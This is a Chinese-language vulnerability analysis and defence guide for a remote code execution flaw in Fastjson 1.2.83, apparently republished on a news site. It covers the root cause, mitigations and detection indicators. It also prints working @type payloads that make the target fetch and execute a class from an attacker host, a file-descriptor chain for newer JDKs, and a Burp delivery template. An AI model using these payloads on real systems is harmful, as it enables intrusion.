Fastjson 1.2.83 “Gadget-Free” 漏洞（0day）深度分析与防御指南

2026-07-2310:41

项目动态

2026-07-23 10:41

项目动态

2026-07-23 10:41

收藏文章

订阅专栏

Fastjson 1.2.83 在默认 AutoType=false 下仍可触发无需传统 gadget 的远程代码执行，已在 JDK 8/17/21/25 + Spring Boot Loader 隔离环境复现。

摘要

在传统 Java 反序列化漏洞防御体系中，业界普遍存在以下认知盲区：“AutoType 默认关闭就安全”、“固定了 parseObject 的第二参数（顶层目标类型）就安全”、“排空了本地 Classpath 的反序列化 Gadget 依赖就安全”。然而，最新的技术攻防演进彻底打破了这些侥幸心理。

GCSA 全球网络安全联盟今日独家发布本篇技术洞察报告。报告深入复盘了 Fastjson 1.2.83 在默认 AutoType=false 状态下，依然可触发无需传统 Gadget 依赖的远程代码执行（RCE）的底层根因。目前，该利用技术已在 JDK 8 / 17 / 21 / 25 以及 Spring Boot Loader 隔离环境中端到端复现成功。本漏洞并非传统的“绕过黑名单后寻找本地 Gadget”，而是直接将 Fastjson 自身的 Class 元数据探测逻辑扭转为远程恶意 Class 的获取与授权通道。以下为正文

发布机构：GCSA 全球网络安全联盟
报告类型：独家技术洞察 / 漏洞深度剖析报告
报告日期：2026-07-21
报告状态：已完成源码审计与隔离环境复现
漏洞编号：内部研究编号 FJ-GETRESOURCE-RCE（不对应已公开 CVE）

Fastjson 1.2.83 在默认 AutoType=false 下仍可触发无需传统 gadget 的远程代码执行，已在 JDK 8/17/21/25 + Spring Boot Loader 隔离环境复现。建议立即启用 SafeMode 并迁移 Fastjson 2.x。

1. 执行摘要

Fastjson 1.2.83 的 ParserConfig.checkAutoType 会把用户可控的 @type 值转换为 class 资源名，并交给当前 ClassLoader 的 getResourceAsStream：

String resource = typeName.replace('.', '/') + ".class";

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

在能够解析绝对 URL 资源名的 fat-jar ClassLoader 环境中，攻击者可以利用点号替换构造 http:、jar:http: 和 jar:file: URL，从攻击端下载带有 @JSONType 的恶意 class。Fastjson 检测到该注解后会调用 loadClass，并在危险基类检查和目标类型相容性检查之前直接返回该 class。class 被实例化、初始化时即可执行任意代码。

该利用不依赖目标 classpath 中已有的传统反序列化 gadget，且在 Fastjson AutoType=false 的默认状态下仍可触发。固定 JSON.parseObject 的目标类型不能阻止执行；启用 SafeMode 可以在资源访问前阻断正常利用路径。

本报告已使用同一个 JSON payload 在隔离 Linux 容器中完成以下复现：

2. 漏洞评级

不建议仅凭组件版本给出统一的 CVSS 9.8：普通 AppClassLoader 是负对照，现代 JDK 完整链还依赖能够解析两种绝对 JAR URL 的 loader 和 /proc/self/fd。在满足本报告正向环境的应用中，漏洞效果为无需认证的网络 RCE。

3. 影响范围与前置条件

3.1 已确认范围

运行时确认：Fastjson 1.2.83
JDK 确认：8、17、21、25
操作系统确认：Linux；macOS 使用 /dev/fd 也完成了 JDK 17/21/25 复现
loader 确认：Spring Boot 2.7.18 classic loader + JDK 8；Spring Boot 3.2.0 loader + JDK 17/21/25
API 确认：JSON.parse，以及固定顶层类型的 JSON.parseObject

3.2 版本范围说明

外部描述中的 1.2.68–1.2.83 更适合作为已知测试范围，而不是漏洞引入版本。源码核对表明，决定性的 class 资源探测代码在 1.2.67 和 1.2.68 中已经存在。本报告仅对 1.2.83 完成了完整跨 JDK 运行时验证。

3.3 利用所需条件

攻击者可以控制传入 Fastjson 的 JSON，且输入中的 @type 会被解析
SafeMode 未启用
加载 Fastjson 的 ClassLoader 能把构造后的绝对资源名解析为 URL
受害进程可以连接攻击端 HTTP 服务
现代 Linux 链要求 /proc/self/fd 可读，并且 loader 能解析 jar:file:/proc/self/fd/N!...
JDK 需要能够创建正常的远程 JAR 临时缓存；这通常意味着 JVM 临时目录可写

攻击者不需要：

向目标 classpath 写入文件
目标 classpath 预装 TemplatesImpl、JNDI、C3P0、Commons Collections 等 gadget
开启 Fastjson AutoType
控制 JSON.parseObject 的第二个参数

4. 根因分析

4.1 用户类型名被当作资源 URL

源码位置：

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498

核心代码：

String resource = typeName.replace('.', '/') + ".class";

if (defaultClassLoader != null) {

is = defaultClassLoader.getResourceAsStream(resource);

} else {

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

}

该逻辑假设 resource 只是普通 classpath 路径，但没有限制其协议、绝对路径语义或来源。对于特定 fat-jar loader，以下输入会在替换后变成绝对 URL：

输入类型名: http:..localhost:18081.a

资源名: http://localhost:18081/a.class 因此 getResourceAsStream 从本地元数据查询越界为攻击者可控的网络资源加载。

4.2 远程 class 的 @JSONType 被当作授权依据

Fastjson 使用自己的 ASM ClassReader 解析资源内容：

ClassReader classReader = new ClassReader(is, true);

TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);

classReader.accept(visitor);

jsonType = visitor.hasJsonType();

攻击端只需让远程 class 带有 Fastjson 的 @JSONType 注解，即可将 jsonType 置为 true。这里检查的是攻击者提供的字节，而不是一个已经由可信 classpath 加载的类。

4.3 jsonType 触发实际类加载

源码位置：

ParserConfig.java:1500-1503

TypeUtils.java:1759-1792

if (autoTypeSupport || jsonType || expectClassFlag) {

boolean cacheClass = autoTypeSupport || jsonType;

clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

}

TypeUtils.loadClass 依次尝试显式 loader、线程上下文 loader 和 Class.forName。在正向环境中，线程上下文 loader 会再次解析相同的绝对资源名、下载 class 并执行 defineClass。

4.4 @JSONType 早返回绕过后续安全检查

源码位置：

ParserConfig.java:1505-1528

if (clazz != null) {

if (jsonType) {

return clazz;

} // These checks are performed after the jsonType is returned.

if (ClassLoader.class.isAssignableFrom(clazz)

|| DataSource.class.isAssignableFrom(clazz)

|| RowSet.class.isAssignableFrom(clazz)) {

throw new JSONException(...);

} if (expectClass != null) {

// assignability the check is also done later.

}

远程 class 一旦携带 @JSONType：

危险基类检查不会执行
expectClass.isAssignableFrom(clazz) 不会执行
固定数据绑定类型无法在 class 初始化之前阻止执行

4.5 Exception/Error 后缀形成失败软通道

源码位置：

ParserConfig.java:1537-1542

if (!autoTypeSupport) {

if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {

return null;

}

throw new JSONException("autoType is not support. " + typeName);

}

现代 JDK 第一阶段会因非法内部类名加载失败。让类型名以 Exception 结尾后，Fastjson 不会终止整个 JSON，而是返回 null，使解析器继续处理数组中的 FD 枚举元素。这一分支是单 payload 跨阶段执行的关键。

4.6 SafeMode 的位置

SafeMode 检查位于资源访问之前：

ParserConfig.java:1325-1330

所以默认路径中 SafeMode 能阻止网络请求。不过 AutoTypeCheckHandler 位于 SafeMode 之前（ParserConfig.java:1316-1323）；如果应用主动注册了一个直接返回类型的 handler，需要单独审计，不能把 SafeMode 理解为可覆盖自定义 handler 的绝对边界。

5. 利用链详解

5.1 JDK 8：直接远程 class 加载

最短形式：

{"@type":"http:..localhost:18081.a"}

转换链：

binary type name: http:..localhost:18081.a

resource URL: http://localhost:18081/a.class

class internal: http://localhost:18081/a

JDK 8 接受上述非常规内部类名。Spring Boot 2.7 的 LaunchedURLClassLoader 下载 class 后完成定义、实例化和初始化，恶意 <clinit> 执行命令。

JDK 17+ 同样会完成网络请求，但拒绝内部名中的空路径段，

ClassFormatError: Illegal class name "http://localhost:18081/a"

所以短 http:.. 形式本身只在 JDK 8 完成 RCE。

5.2 现代 JDK 第一阶段：下载远程 JAR

单 payload 的首个数组元素：

{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}

转换结果：

resource URL:

jar:http://attacker:18081/x!/foo/Exception.class

JDK 的 sun.net.www.protocol.jar.URLJarFile.retrieve 会创建 jar_cache* 临时文件，将远程 JAR 复制到该文件。

JDK 17+ 随后拒绝第一阶段 jar:http://... 内部名，但 Fastjson 因 Exception 后缀继续解析数组。

5.3 现代 JDK 第二阶段：重开缓存 FD

后续候选元素：

{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}

转换链：

binary type name:

jar:file:.proc.self.fd.7!.fd7.Exception resource URL:

jar:file:/proc/self/fd/7!/fd7/Exception.class class internal name:

jar:file:/proc/self/fd/7!/fd7/Exception

与 http:// 不同，该内部名的每个 / 分隔组件都非空，因此现代 JVM 接受。攻击 JAR 中为每个候选 FD 准备一个入口：

fd3/Exception.class

fd4/Exception.class

...

fd64/Exception.class

每个 class 的常量池内部名都与对应 FD 的请求类型精确匹配，并携带 @JSONType。命中实际缓存句柄后，Fastjson 加载并实例化该类，<clinit> 执行命令。

JDK 17 的 class-load 日志中首个命中为：

jar:file:.proc.self.fd.7!.fd7.Exception

5.4 为什么一个 payload 同时兼容 JDK 8 和现代 JDK

JDK 8 直接接受第一阶段 jar:http://... class 并执行

第一阶段 class 执行命令后故意抛出 RuntimeException("stage-one-stop")，阻止 JDK 8 继续尝试无关 socket/pipe FD

JDK 17+ 在 class 初始化前就因第一阶段非法名称失败，随后通过 Exception 软返回进入 FD 枚举阶段

6. 复现环境与证据

6.1 被测构件哈希

fastjson-1.2.83.jar

SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar

SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar

SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b

6.2 一键复现

cd <repro-workspace>

PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh

期望输出：

JDK 8 : RCE-OK

JDK 17: RCE-OK

JDK 21: RCE-OK

JDK 25: RCE-OK

脚本会：

编译受害 fat jar；
生成带 FD 专用 class 的攻击 JAR；
生成一个 JSON 数组 payload；
在隔离 Docker 网络启动攻击端 HTTP 服务；
分别启动 JDK 8/17/21/25 受害容器；
检查每个容器映射出的 /tmp/fastjson-getresource-rce。

6.3 手工生成攻击 JAR 和 payload

cd <repro-workspace> ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py \

--host attacker \

--port 18081 \

--fd-root /proc/self/fd \

--min-fd 3 \

--max-fd 64 \

--out-jar target/getresource-repro/www-linux/x \

--out-json target/getresource-repro/fd-payload-linux.json

生成物：

Attacker JAR: target/getresource-repro/www-linux/x

JSON payload: target/getresource-repro/fd-payload-linux.json

--host 建议使用不含点号的 DNS 标签或十进制 IPv4。原因不是绕过 localhost，而是 Fastjson 会把类型名中的所有.都改成 /。例如十进制 IPv42130706433 等价于 127.0.0.1，但不会被点号替换拆开。

6.4 通过 Burp Suite 投递

Burp 只负责向存在 Fastjson 解析点的受害接口发送 JSON；攻击 JAR 仍需由攻击端 HTTP 服务提供。

请求模板：

POST /parse HTTP/1.1

Host: victim.example

Content-Type: application/json

Connection: close

Content-Length: ... [Place the complete contents of fd-payload-linux.json here.]

如果应用使用固定顶层类型，可根据字段结构包装数组，例如：

{"value":[/* All array elements in fd-payload-linux.json */]}

本实验使用 JSON.parseObject(json, BoundEnvelope.class) 解析上述包装，结果仍为 RCE-OK，并正常返回 BoundEnvelope。

6.5 关键边界测试

7. 修复与缓解建议

7.1 首选：迁移出 Fastjson 1.x

优先迁移至维护中的 Fastjson 2.x，并重新验证所有多态类型、AutoType 和兼容模式配置。不要仅替换 JAR 而不做回归测试。

7.2 立即启用 SafeMode

代码配置：

ParserConfig.getGlobalInstance().setSafeMode(true);

JVM 参数：

-Dfastjson.parser.safeMode=true

注意：应用如注册了 AutoTypeCheckHandler，应同步审计或移除，因为 handler 在 SafeMode 检查之前执行。

7.3 限制反序列化入口

不要把不可信请求直接交给 JSON.parse/JSON.parseObject
在网关或应用入口拒绝任何形式的特殊类型元数据
仅固定顶层 Java 类型不是充分防线，因为嵌套对象仍可处理 @type，且本漏洞的 jsonType 早返回绕过相容性检查

7.4 WAF/ 网关临时规则

临时拦截 JSON key 解码后等于 @type 的请求，并覆盖 URL 参数、请求体及嵌套对象。不能只搜索明文 "@type"，Fastjson lexer 会先解码字段名，例如：

{"\u0040type":"..."}

{"\x40type":"..."}

WAF 规则只能作为缓解，不能代替组件升级和 SafeMode。

7.5 出网与运行时加固

禁止业务 JVM 对非必要外部地址发起 HTTP/HTTPS 连接。
对应用容器实施最小网络策略。
在兼容性允许时限制 /proc/self/fd 暴露或使用更严格的容器沙箱。
审计 ClassLoader 对绝对 URL 资源名的处理，拒绝 http:、https:、jar:、file: 等协议形式。
监控 JVM 临时目录中的异常 jar_cache* 活动。

8. 检测建议与 IOC

8.1 请求侧特征

重点关注解码后的 @type 值包含：

http:..

jar:http:..

jar:file:.proc.self.fd.

jar:file:.dev.fd.

!.fd

Exception

单独出现 Exception 不足以告警，应与协议形式、@type 和数组内连续 FD 候选组合关联分析。

8.2 网络侧特征

JVM 向异常主机请求无扩展名 JAR 或 .class
同一解析请求期间出现 1–3 次重复 GET/HEAD
请求路径中可能出现 /x、/a.class 或攻击者自定义等价路径

8.3 主机侧特征

JVM 临时目录创建 jar_cache*
Java 进程通过 /proc/self/fd/N 重新打开自身文件
class-load 日志出现类似 jar:file:.proc.self.fd.7!.fd7.Exception

jar:file:.proc.self.fd.7!.fd7.Exception

9. 结论

本漏洞并非传统的“绕过黑名单后寻找本地 gadget”，而是把 Fastjson 自身的 class 元数据探测逻辑变成了远程 class 获取和授权通道。@JSONType 早返回使攻击者提供的 class 在危险基类和类型绑定检查之前被接受；Exception 失败软通道及 JDK jar:http: 临时缓存则将 JDK 8 的直接加载原语扩展到了 JDK 17/21/25。

因此以下常见判断均不成立：

“AutoType 默认关闭，所以安全” — 不成立
“固定 parseObject 第二参数，所以安全” — 不成立
“classpath 没有已知 gadget，所以安全” — 不成立
“JKD 17+ 会拒绝 http:// 内部名，所以最多只是 SSRF” — 不成立

在满足已验证 loader、网络和文件描述符条件的部署中，该问题可以从单个未经认证的 JSON 请求发展为真实远程代码执行。应优先迁移 Fastjson 2.x，并立即启用 SafeMode、收紧出网与 ClassLoader 资源解析边界。

10. 附件与证据路径

Full research log: target/FASTJSON_1_2_83_RCE_ANALYSIS.md

Reproduction instructions: target/getresource-repro/README.md

JDK 8 short chain: target/getresource-repro/reproduce.sh

JDK 8/17/21/25 Linux full chain: target/getresource-repro/reproduce_fd_chain.sh

Attack JAR/payload generator: target/getresource-repro/build_fd_chain.py

Generated Linux payload: target/getresource-repro/fd-payload-linux.json

JDK 17 class-load evidence: target/getresource-repro/linux-jdk17-classload.log

来源：GCSA 全球网络安全联盟

官网：www.gcsa.org

【免责声明】市场有风险，投资需谨慎。本文不构成投资建议，用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资，责任自负。

数据请求中

一起「遇见」未来

DOWNLOAD FORESIGHT NEWS APP

App Store

Android

摘要

1. 执行摘要

2. 漏洞评级

3. 影响范围与前置条件

3.1 已确认范围

3.2 版本范围说明

3.3 利用所需条件

4. 根因分析

4.1 用户类型名被当作资源 URL

4.2 远程 class 的 @JSONType 被当作授权依据

4.3 jsonType 触发实际类加载

4.4 @JSONType 早返回绕过后续安全检查

4.5 Exception/Error 后缀形成失败软通道

4.6 SafeMode 的位置

5. 利用链详解

5.1 JDK 8：直接远程 class 加载

5.2 现代 JDK 第一阶段：下载远程 JAR

5.3 现代 JDK 第二阶段：重开缓存 FD

5.4 为什么一个 payload 同时兼容 JDK 8 和现代 JDK

6. 复现环境与证据

6.1 被测构件哈希

6.2 一键复现

6.3 手工生成攻击 JAR 和 payload

6.4 通过 Burp Suite 投递

6.5 关键边界测试

7. 修复与缓解建议

7.1 首选：迁移出 Fastjson 1.x

7.2 立即启用 SafeMode

7.3 限制反序列化入口

7.4 WAF/ 网关临时规则

7.5 出网与运行时加固

8. 检测建议与 IOC

8.1 请求侧特征

8.2 网络侧特征

8.3 主机侧特征

9. 结论

10. 附件与证据路径

推荐专栏

一起「遇见」未来